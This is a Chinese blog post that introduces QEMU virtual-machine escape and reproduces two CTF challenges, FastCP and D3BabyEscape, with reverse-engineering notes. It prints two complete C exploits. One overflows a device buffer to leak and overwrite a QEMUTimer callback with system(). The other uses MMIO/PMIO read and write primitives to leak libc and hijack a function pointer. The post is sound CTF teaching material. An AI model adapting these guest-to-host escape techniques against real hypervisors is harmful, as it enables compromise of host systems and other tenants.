qemu逃逸入门及例题复现

本文章详细记录了笔者对qemu逃逸的理解,同时复现了两个经典的CTF中的qemu逃逸的题目,详细记录了复现的过程,希望对你学习qemu逃逸有所帮助

常用指令

  1. lspci
  2. ls /sys/devices/pci0000\:00/0000\:00\:04.0/
  3. -monitor telnet:127.0.0.1:4444,server,nowait nc 127.0.0.1 4444可以info pci看的更清楚,这个技巧仅限于qemu,发现内核不好使

qemu到底在pwn什么

  • 主要是pwn qemu这个elf文件本身,说是虚拟机但是更像用软件实现虚拟化,qemu文件中有各种各样的函数可以使用,因此泄露之后如何有任意函数执行那么就可以拿到shell
  • 远程一般要反弹shell
  • 主要是把exp复制到.cpio这个压缩包中,这样就可以在qemu中运行我们所写的攻击脚本
  1. mkdir exp
  2. cp ./initramfs-busybox-x64.cpio.gz ./exp/
  3. cd exp
  4. gunzip ./initramfs-busybox-x64.cpio.gz
  5. cpio -idmv < ./initramfs-busybox-x64.cpio
  6. mkdir root
  7. cp ../exp.c ./root/
  8. gcc ./root/exp.c -o ./root/exp -static
  9. find . | cpio -o --format=newc > initramfs-busybox-x64.cpio
  10. gzip initramfs-busybox-x64.cpio
  11. cp initramfs-busybox-x64.cpio.gz ..

有关调试

  • 主要有两种调试方法
    1. 直接gdb qemu这个文件,然后set args设置启动参数
    2. 运行./launch.sh,然后ps -ef | grep qemu,通过gdb -p 进程号就可以连上进行调试了
  • 发现想打exp里面的断点很困难,那就把断点打在qemu这个文件中,比如b fastcp_mmio_write,然后c就行了

基础知识

地址转化

  • 这一点还是比较重要的,只有地址正确才能正确的执行相应的函数

PCI 设备地址空间

  • 主要就是MMIO和PMIO,目前只pwn过MMIO的

主要漏洞

  • 一般的漏洞都是读写的错误,特别是写的越界,因此注意检查size的限制很重要

FastCP

主要参考了这个博客

- 入门qemu逃逸第一题,花了好几天时间才把所有的细节搞明白 题目分析

  • 题目名字就是fastcp,所以ida直接搜发现这些有关的,一般漏洞也都是因为mmio_write,所以开始代码审计,审计过程略

image.png

  • 在mmio_write这个函数中跟进一个函数

image.png

image.png

image.png

这里的函数执行竟然是通过存储的timer结构体,因此如果可以控制timer结构体意味着就可以任意函数执行

  • 然后就是看是MMIO还是PMIO

image.png

image.png

image.png

发现resource0,那就是MMIO了

exp分析

mmio_write与qemu的联系

  • 看到qemu中的这个函数就在想这个mmio_mem怎么和这个qemu中的这个函数联系起来
  • 应该这样理解,通过打开resource0这个设备再映射,那么往mmio_mem写入的东西会被这样处理:FastCPState *opaque和size这两个参数不用管,往mmio_mem写入东西的偏移就是addr,对应偏移的值就是val,这样一切都联系起来了

image.png

image.png

userbuf和phy_userbuf

  • 这里要先理解我们写的exp和qemu是两个不同的进程,而我们的最终目的是通过泄露出qemu中的东西然后任意函数执行最终pwn掉qemu这个宿主
  • 地址转换这个不多赘述

image.png

qemu中的函数和exp中的函数分析

  • 主要是fastcp_cp_timer这个函数,cp_info是这个函数的一个局部变量,cp_list_src要是phy_userbuf才行,因此我们不能在qemu这个进程中访问到exp进程的东西,但是却可以通过phy_userbuf访问到。同时我们可以在exp中把想要的数据复制给userbuf,这样就联系起来了
  • cmd=4,把cp_list_src也就是phy_userbuf中的cp_info复制给qemu中的cp_info这个局部变量,然后把cp_buffer中的数据复制给dst

image.png

  • cmd=2,把src中的值复制给cp_buffer

image.png

  • cmd=1,把src的值复制给buf,再把buf的值复制给dst

image.png

exp攻击流程

任意地址的泄露

  • 注意到把buf的值复制到dst时没有长度限制,但是在qemu这个结构体中,buf后面就是timer这个结构体,因此可以把timer结构体的内容泄露

image.png

  • 看到exp中leak_timer = *(uint64_t*)(&userbuf[0x10]),这就是通过phy_userbuf这个桥梁,在exp进程中获取到了qemu进程的东西

image.png

任意函数的执行

  1. 前面说到有cb(opaque)这个任意函数执行,因此设置相应的值就可以

image.png

  1. 这里先说说这个struct_head是什么,其实就是这个结构体的头部,所以才有timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30

image.png

image.png

image.png

image.png

  1. 再说说exp中的这部分

image.png

  • src和dst都是gva_to_gpa(userbuf + 0x1000) - 0x1000 ,先把src复制到buf,因为len=0x1000 + sizeof(timer)所以buf后面的timer结构体就被修改为我们期望的样子了。后面buf复制到dst其实都不重要了,然后只要让cmd=1,也就是调用fastcp_cp_timer函数就可以任意函数执行了
  • 这里又来了一个知识点,因此虽然是memcpy(userbuf + 0x1000, &timer, sizeof(timer)); 但是后面却是gva_to_gpa(userbuf + 0x1000) - 0x1000,这是因为多于一页物理地址不一定连续了

image.png

  • exp
  1. #include <assert.h>
  2. #include <fcntl.h>
  3. #include <inttypes.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/mman.h>
  8. #include <sys/types.h>
  9. #include <sys/io.h>
  10. #include <unistd.h>
  11. #define PAGE_SHIFT 12
  12. #define PAGE_SIZE (1 << PAGE_SHIFT)
  13. #define PFN_PRESENT (1ull << 63)
  14. #define PFN_PFN ((1ull << 55) - 1)
  15. char* userbuf;
  16. uint64_t phy_userbuf, phy_userbuf2;
  17. unsigned char* mmio_mem;
  18. struct FastCP_CP_INFO
  19. {
  20. uint64_t CP_src;
  21. uint64_t CP_cnt;
  22. uint64_t CP_dst;
  23. };
  24. struct QEMUTimer
  25. {
  26. int64_t expire_time;
  27. int64_t timer_list;
  28. int64_t cb;
  29. void* opaque;
  30. int64_t next;
  31. int attributes;
  32. int scale;
  33. char shell[0x50];
  34. };
  35. void die(const char* msg)
  36. {
  37. perror(msg);
  38. exit(-1);
  39. }
  40. uint64_t page_offset(uint64_t addr)
  41. {
  42. return addr &amp; ((1 << PAGE_SHIFT) - 1);
  43. }
  44. uint64_t gva_to_gfn(void* addr)
  45. {
  46. uint64_t pme, gfn;
  47. size_t offset;
  48. int fd = open("/proc/self/pagemap", O_RDONLY);
  49. if (fd < 0)
  50. {
  51. die("open pagemap");
  52. }
  53. offset = ((uintptr_t)addr >> 9) &amp; ~7;
  54. lseek(fd, offset, SEEK_SET);
  55. read(fd, &amp;pme, 8);
  56. if (!(pme &amp; PFN_PRESENT))
  57. return -1;
  58. gfn = pme &amp; PFN_PFN;
  59. return gfn;
  60. }
  61. //用户虚拟地址gva到用户物理地址gpa
  62. //先根据用户虚拟地址gva算出,用户所在页号gfn,再根据gfn和offset算出用户物理地址gpa(将gfn和offset位拼起来)
  63. uint64_t gva_to_gpa(void* addr)
  64. {
  65. uint64_t gfn = gva_to_gfn(addr);
  66. assert(gfn != -1);
  67. return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
  68. }
  69. //一开始mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
  70. //mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
  71. void mmio_write(uint64_t addr, uint64_t value)
  72. {
  73. *((uint64_t*)(mmio_mem + addr)) = value;
  74. }
  75. //这个read感觉完全没用,不用都行
  76. uint64_t mmio_read(uint64_t addr)
  77. {
  78. return *((uint64_t*)(mmio_mem + addr));
  79. }
  80. void fastcp_set_list_src(uint64_t list_addr)
  81. {
  82. mmio_write(0x8, list_addr);
  83. }
  84. void fastcp_set_cnt(uint64_t cnt)
  85. {
  86. mmio_write(0x10, cnt);
  87. }
  88. void fastcp_do_cmd(uint64_t cmd)
  89. {
  90. mmio_write(0x18, cmd);
  91. }
  92. //这个fastcp_do_readfrombuffer和fastcp_mmio_read完全不一样
  93. //把buffer的数据复制到dst
  94. void fastcp_do_readfrombuffer(uint64_t addr, uint64_t len)
  95. {
  96. //以下三个是往cp_info里面写入值
  97. struct FastCP_CP_INFO info;
  98. info.CP_cnt = len;
  99. info.CP_src = NULL;
  100. info.CP_dst = addr;
  101. memcpy(userbuf, &amp;info, sizeof(info));
  102. //以下三个是往opaque->cp_state写入值
  103. fastcp_set_cnt(1);
  104. fastcp_set_list_src(phy_userbuf);
  105. fastcp_do_cmd(4);
  106. sleep(1);
  107. }
  108. //把src的数据复制到buffer
  109. void fastcp_do_writetobuffer(uint64_t addr, uint64_t len)
  110. {
  111. struct FastCP_CP_INFO info;
  112. info.CP_cnt = len;
  113. info.CP_src = addr;
  114. info.CP_dst = NULL;
  115. memcpy(userbuf, &amp;info, sizeof(info));
  116. fastcp_set_cnt(1);
  117. fastcp_set_list_src(phy_userbuf);
  118. fastcp_do_cmd(2);
  119. sleep(1);
  120. }
  121. void fastcp_do_movebuffer(uint64_t srcaddr, uint64_t dstaddr, uint64_t len)
  122. {
  123. struct FastCP_CP_INFO info[0x11];
  124. for (int i = 0; i < 0x11; i++)
  125. {
  126. info[i].CP_cnt = len;
  127. info[i].CP_src = srcaddr;
  128. info[i].CP_dst = dstaddr;
  129. }
  130. memcpy(userbuf, &amp;info, sizeof(info));
  131. fastcp_set_cnt(0x11);
  132. fastcp_set_list_src(phy_userbuf);
  133. fastcp_do_cmd(1);
  134. sleep(1);
  135. }
  136. //在qemu_main_loop中会不断执行各个函数,包括fastcp_mmio_write这个函数
  137. int main(int argc, char* argv[])
  138. {
  139. int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
  140. if (mmio_fd == -1)
  141. die("mmio_fd open failed");
  142. //把刚才打开的resource0文件内容映射到一个地方
  143. mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
  144. if (mmio_mem == MAP_FAILED)
  145. die("mmap mmio_mem failed");
  146. printf("mmio_mem: %p\n", mmio_mem);
  147. /*
  148. MAP_ANONYMOUS 是 mmap() 函数的一个标志,用于创建匿名映射,即在进程的地址空间中映射一段未与任何文件关联的内存区域
  149. 因此有了-1这个参数
  150. */
  151. userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  152. if (userbuf == MAP_FAILED)
  153. die("mmap userbuf failed");
  154. /*
  155. mlock() 是一个系统调用,用于锁定指定内存区域,防止其被交换到磁盘上。
  156. 这可以确保这些内存区域的内容始终驻留在物理内存中,而不会因为系统内存不足而被交换出去。
  157. */
  158. mlock(userbuf, 0x10000);
  159. phy_userbuf = gva_to_gpa(userbuf);
  160. printf("user buff virtual address: %p\n", userbuf);
  161. printf("user buff physical address: %p\n", (void*)phy_userbuf);
  162. fastcp_do_readfrombuffer(phy_userbuf, 0x1030);
  163. fastcp_do_writetobuffer(phy_userbuf + 0x1000, 0x30);
  164. fastcp_do_readfrombuffer(phy_userbuf, 0x30);
  165. //泄露pie,得到system函数的地址
  166. uint64_t leak_timer = *(uint64_t*)(&amp;userbuf[0x10]);
  167. printf("leaking timer: %p\n", (void*)leak_timer);
  168. fastcp_set_cnt(1);
  169. uint64_t pie_base = leak_timer - 0x4dce80;
  170. printf("pie_base: %p\n", (void*)pie_base);
  171. uint64_t system_plt = pie_base + 0x2C2180;
  172. printf("system_plt: %p\n", (void*)system_plt);
  173. //堆上的某个地址
  174. uint64_t struct_head = *(uint64_t*)(&amp;userbuf[0x18]);
  175. struct QEMUTimer timer;
  176. memset(&amp;timer, 0, sizeof(timer));
  177. timer.expire_time = 0xffffffffffffffff;
  178. timer.timer_list = *(uint64_t*)(&amp;userbuf[0x8]);
  179. timer.cb = system_plt;
  180. timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30; //这里应该是在qemu这个进程中timer.shell
  181. printf("struct_head: %p\n",struct_head);
  182. strcpy(&amp;timer.shell, "echo flag{a_test_flag}");
  183. //变量仅仅在栈上或堆上是不行的,得到mmio里面去才能被qemu用
  184. memcpy(userbuf + 0x1000, &amp;timer, sizeof(timer));
  185. //把src复制到buffer,再把buffer复制到dst
  186. //把src复制到buffer时就把整个结构体中的timer结构体给覆盖为我们自己修改后的结构体
  187. fastcp_do_movebuffer(gva_to_gpa(userbuf + 0x1000) - 0x1000, gva_to_gpa(userbuf + 0x1000) - 0x1000, 0x1000 + sizeof(timer));
  188. fastcp_do_cmd(1);
  189. return 0;
  190. }
  1. mkdir exp
  2. cp ./initramfs-busybox-x64.cpio.gz ./exp/
  3. cd exp
  4. gunzip ./initramfs-busybox-x64.cpio.gz
  5. cpio -idmv < ./initramfs-busybox-x64.cpio
  6. mkdir root
  7. cp ../exp.c ./root/
  8. gcc ./root/exp.c -o ./root/exp -static
  9. find . | cpio -o --format=newc > initramfs-busybox-x64.cpio
  10. gzip initramfs-busybox-x64.cpio
  11. cp initramfs-busybox-x64.cpio.gz ..

D3BabyEscape

题目分析,开始逆向

  • 首先根据-device启动参数知道设备是l0dev,接下来进行逆向。逆向当然不是看所有部分,我们只关心一些重点,也就是这些部分。通过search text找到所有含有l0dev的字符串然后逆向这些函数

image.png

image.png

  • 这里有个小技巧,其实大部分mmio_read或者mmio_write这些函数的参数列表其实都是相似的,这里之前参考之前的一个题进行修改,事实证明确实如此

image.png

  • 逆向有开源的东西时不要硬逆,看看有没有什么资源是现成的那就可以直接用
  • l0dev_realize函数,可见mmio,pmio都有

image.png

  • l0dev_instance_init函数
  • 其实qemu都会维护一个结构体,这里的v1一般就是这个结构体的头部,因此可以根据此大致逆向出这个结构体是个什么,而且这个结构体一般都有buffer

image.png

  • 结构体,逆向结构体的过程就是算算偏移,要自己体会

image.png

  • mmio_read函数,如果可以控制offset,就可以任意地址泄露

image.png

  • mmio_write函数,发现addr=128可以控制offset的值,addr=64这个看的很奇怪,其实就是根据结构体头部+0xd48来执行这里的函数,然后将buf作为rdi,就是一个任意函数执行

image.png

  • pmio_read函数,复制值666就可以让magic=1

image.png

  • pmio_write函数,magic=1可以任意地址写

image.png

exp分析

  • 有了任意地址读和写,任意函数执行,这个题就很简单了
  • exp没什么好分析的,注意如何使用libc中的函数,从Dockerfile里面看到libc版本然后手动找偏移就行了

image.png

image.png

  • 通过info pci找到pmio的端口

image.png

  1. #define _GNU_SOURCE
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <stdint.h>
  5. #include <string.h>
  6. #include <fcntl.h>
  7. #include <unistd.h>
  8. #include <sys/mman.h>
  9. #include <sys/io.h>
  10. char *mmio_mem;
  11. size_t mmio_read(size_t addr)
  12. {
  13. size_t *mmio = (size_t *)((size_t)mmio_mem + addr);
  14. return *(mmio);
  15. }
  16. void mmio_write(size_t addr, size_t val)
  17. {
  18. size_t *mmio = (size_t *)((size_t)mmio_mem + addr);
  19. *(mmio) = val;
  20. }
  21. #define IO_PORT 0xc000
  22. size_t pmio_read(size_t addr)
  23. {
  24. size_t pmio = IO_PORT + addr;
  25. return inl(pmio);
  26. }
  27. void pmio_write(size_t addr, size_t val)
  28. {
  29. size_t pmio = IO_PORT + addr;
  30. outl(val, pmio);
  31. }
  32. int main()
  33. {
  34. int mmio_fd;
  35. size_t libc_addr = 0, system_addr;
  36. // Open and map I/O memory for the string device
  37. mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
  38. if (mmio_fd == -1)
  39. {
  40. perror("open");
  41. exit(EXIT_FAILURE);
  42. }
  43. mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
  44. if (mmio_mem == MAP_FAILED)
  45. {
  46. perror("mmap");
  47. exit(EXIT_FAILURE);
  48. }
  49. if(iopl(3) == -1) /* Apply to system for accessing the port */
  50. {
  51. perror("iopl");
  52. exit(EXIT_FAILURE);
  53. }
  54. mmio_write(128, 0x100);
  55. libc_addr = mmio_read(4);
  56. libc_addr = libc_addr - 0x460a0; // srandom offset
  57. printf("libc_addr: %#lx\n", libc_addr);
  58. system_addr = libc_addr + 0x50d70;
  59. //让magic的值为666
  60. pmio_write(0, 666);
  61. pmio_read(0);
  62. //覆盖rand_r为system,任意函数执行
  63. pmio_write(20, system_addr);
  64. mmio_write(64, 0x6873);
  65. return 0;
  66. }
  1. mkdir exp
  2. cp ./bin/rootfs.img ./exp/
  3. cd exp
  4. cpio -idmv < ./rootfs.img
  5. mkdir root
  6. cp ../exp.c ./root/
  7. gcc ./root/exp.c -o ./root/exp -static
  8. find . | cpio -o --format=newc > rootfs.img
  9. cp rootfs.img /home/zp9080/attachment/bin
  • 发表于 2024-12-05 09:36:56
  • 阅读 ( 2038 )
  • 分类:二进制

0 条评论

_ZER0_
_ZER0_

13 篇文章

站长统计